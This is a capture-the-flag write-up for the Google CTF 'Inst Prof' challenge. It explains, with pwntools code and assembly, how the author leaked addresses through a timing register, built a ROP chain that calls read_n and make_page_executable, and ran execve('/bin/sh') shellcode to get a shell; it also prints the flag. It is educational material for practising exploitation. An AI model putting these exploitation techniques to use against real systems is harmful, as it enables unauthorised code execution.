Google CTF - Inst Prof Writeup

I started this challenge after finishing Wiki since my team still did not solve it at that time. I though I would grab this low hanging fruit fast and move on to the harder challenges, as it was categorised as an easy task and had many solvers. Boy, was I ever wrong! If you are looking for the efficient solution for this challenge, I suggest you keep looking, my solution is full of detours and I made this challenge significantly harder than it should have been.

The Binary

The provided binary is an x64 linux executable with NX and PIE enabled. There is no need for much reversing as the program itself is really simple. In an infinite loop it reads four bytes from the user, executes those four bytes in a loop a thousand times and prints the execution time in the end. More precisely:

• It allocates an mmap page and copies the thousand-iteration-loop template there
• Reads four bytes from the user and substitutes it into the loop
• Makes the page executable
• Saves the rdtsc clock
• Calls the page
• Reads the rdtsc clock again and prints the elapsed time
• Frees the page

What is interesting for us is obviously the 4 byte machine code we can run and the printing of the rdtsc clock. Since that is the only information sent to us we will have to use it to leak addresses. This and an unhealthy dose of caffeine should be enough to finish the exploit.

The Leak

The value of the Time Stamp Counter is saved to R12 before the call to our code. Later, when the loop has returned, it is subtracted from the current value of the Time Stamp Counter. It is easy to see how we can use this to leak addresses; we can subtract a value from R12 and we receive the subtracted value plus the time that passed between the two rdtsc calls.

r12 = rdtsc1
call our_code
    r12 = r12 - rsp
    return
res = rdtsc2 - r12
res = rdtsc2 - rdtsc1 + rsp
print res

If we want to leak accurate addresses then we need to guess or know the time spent between the two rdtsc instructions. On the other hand, if we only want to get the base address of a mapping we don’t need accurate values as base addresses are page aligned, so the least significant 12 bits are always going to be zero. Leaking the stack base or executable page is straight forward as their addresses are already present in registers (RSP and RIP respectively).

Leaking the .text base requires an additional step. We need to load a .text address into a register and subtract it from R12. Unfortunately I am not aware of any instruction combination that does this in 4 bytes and survives the return. The only alternative solution is to look for a register, that is not written between the calls to our 4 byte shellcode. Lucky for us R14 and R15 satisfies this condition, and the pop r14; push r14 instructions can be used to load the original return address to the R14 register and sub r12, r14; ret can be used to leak it. The actual code for the address leaks:

    ret = asm("ret")
    add_r12_rsp = asm("sub r12, rsp")
    
    m.c.send(add_r12_rsp+ret)
    leak_stack = (u64(m.c.recv(), sign="signed")) -reftime
    stack_base = (leak_stack & 0xfffffffffffff000) - 0x20000
    print ("Leaked stack address: "+hex(leak_stack))
    print ("Leaked stack base: "+hex(stack_base))

    print ("Get ret address to r14")
    m.c.send(pop_r14 + push_r14)
    m.c.recv()

    m.c.send(add_r12_r14+ret)
    leak_prog = (u64(m.c.recv(), sign="signed")) -reftime
    prog_base = (leak_prog & 0xfffffffffffff000)
    print ("Leaked prog address: "+hex(leak_prog))
    print ("Leaked prog base: "+hex(prog_base))

The Exploit

At this point any sane person would have realised that with R14 and R15 we have an arbitrary write primitive. We could write a minimal ROP chain that calls the make_page_executable and makes the stack executable and returns to a minimal shell code. But I didn’t. I took the scenic route.

After leaking the addresses I decided to call the read_n(char* dst, int length) function, to overwrite the stack with arbitrary data. At the time of return RSI contains 0x1000 which is good enough for us, all we need to do is get the stack address into RDI and overwrite the return address with read_n function’s address. As explained previously, pop r14; push r14 can be used to get the original return address into R14. Since the read_n address is really close to this address, we can issue the dec r14; ret instructions multiple times (0x98 times to be exact) to point R14 to read_n.

The final step is to get the stack address into RDI and push R14 to the stack. This exactly is achieved by the push rsi; pop rdi; push r14; instructions, it will mess up the stack but we plan to read there anyways. The actual code:

dec_r14 = asm("dec r14")
push_r14 = asm("push r14")
pop_rdi = asm("pop rdi")
push_rsp = asm("push rsp")

for i in range(0x98):
    m.c.send(dec_r14+ret)
    junk = m.c.recv()
print("Jumping to read")
m.c.send(push_rsp+pop_rdi+push_r14)

All that is left to do is to write a ROP chain that calls execve with the "/bin/sh",0,0 arguments. Thought the naive, adolescent me. The problem is that we only know the base address of the program and not the address of libc. At the time (heavily sleep deprived), I could not see a way to leak libc addresses easily. It would have been pretty simple though, R15 could be pointed to the .got and then mov r14, [r15]; ret could have been used to read libc function addresses to R14.

Instead I run ROPgadget on the binary and noted the lack of useful gadgets with much disappointment. There are pop rdi and pop rsi gadgets in the binary but no control over RDX or EAX which means no execve for us (or any syscall for that matter). At this point I was very tempted to give up and ease my sorrow with fine Belgian beers, but I resisted.

Having RSI and RDI control and PIE leak means that we can call any function from the binary and control the first two parameters, so it is worth looking through them. We can call:

• alloc_page
• free_page
• make_page_executable
• read_n

The two most useful one are make_page_executable(void* address) and the read_n functions. With the help of these we can read an arbitrary shell code to the .bss and make it executable and return to it. The shell code can be the execve("/bin/sh", 0, 0), we can place the “/bin/sh” string over the last return address on the stack when the ROP chain is sent. So the actual shell code ends up looking like this:

mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 59
syscall

This is a simple idea but at the time it took me significant amount of time to figure it out and beforehand a lot of trial and error with other non-working solutions. But after the pieces have fallen into place writing the ROP chain is rather straight forward. We simply use the pop rdi; ret and pop rsi, pop r15, ret gadgets to set up the parameters for the read_n and make_page_executable functions. The relevant part of the exploit:

## get addresses
bss_base = prog_base + 0x202000
bss_start = prog_base + 0x202070

pop_rdi = prog_base + 0xbc3
pop_rsi_r15 = prog_base + 0xbc1

read_n = prog_base+0xa80
make_page_exec = prog_base+0xa20

# RSI contains read length
ropchain = p64(pop_rsi_r15)+ p64(0x500) + "B"*8
# RDI contains bss address
ropchain += p64(pop_rdi) + p64(bss_start)+p64(read_n)
# RDI contains the bss base
ropchain += p64(pop_rdi) + p64(bss_base)+p64(page_exec)
# ret to the shell code address and "/bin/sh" string
ropchain += p64(bss_start) + "/bin/sh\0"

print("sending stage 1")
m.c.send(ropchain)

# send shell code
last_stage = asm("mov rdi, rsp; mov rsi, 0; mov rdx, 0;mov rax, 59;syscall")
m.c.send("C"*(0x1000-88) +last_stage + "D" *((0x500+88 )-len(last_stage)))
# enjoy remote shell
m.c.interactive()

The complete exploit is available here.

Summary

Before concluding this write up here is a quick recap of the steps I took to get the flag:

• Leak addresses using the R12 register
• Call read_n to overwrite the stack with arbitrary data
• Create a ROP chain that reads to the .bss and makes it executable and returns to it
• Send the sys_execve("/bin/sh",0,0) shellcode
• Submit flag, realise it is my anniversary, quit CTF to try to save relationship (true story)

Without doubt this is not the most efficient way to solve this challenge, yet I hope some people find the write up helpful, educational. Overall I definitely enjoyed this challenge even though I almost lost hope at one point and was really close to giving up. Last but not least, I would like to say thank you to the organisers for the quality challenges and competition.

Oh yeah and the flag of course:

CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}

TL;DR

Despair is the name of the game.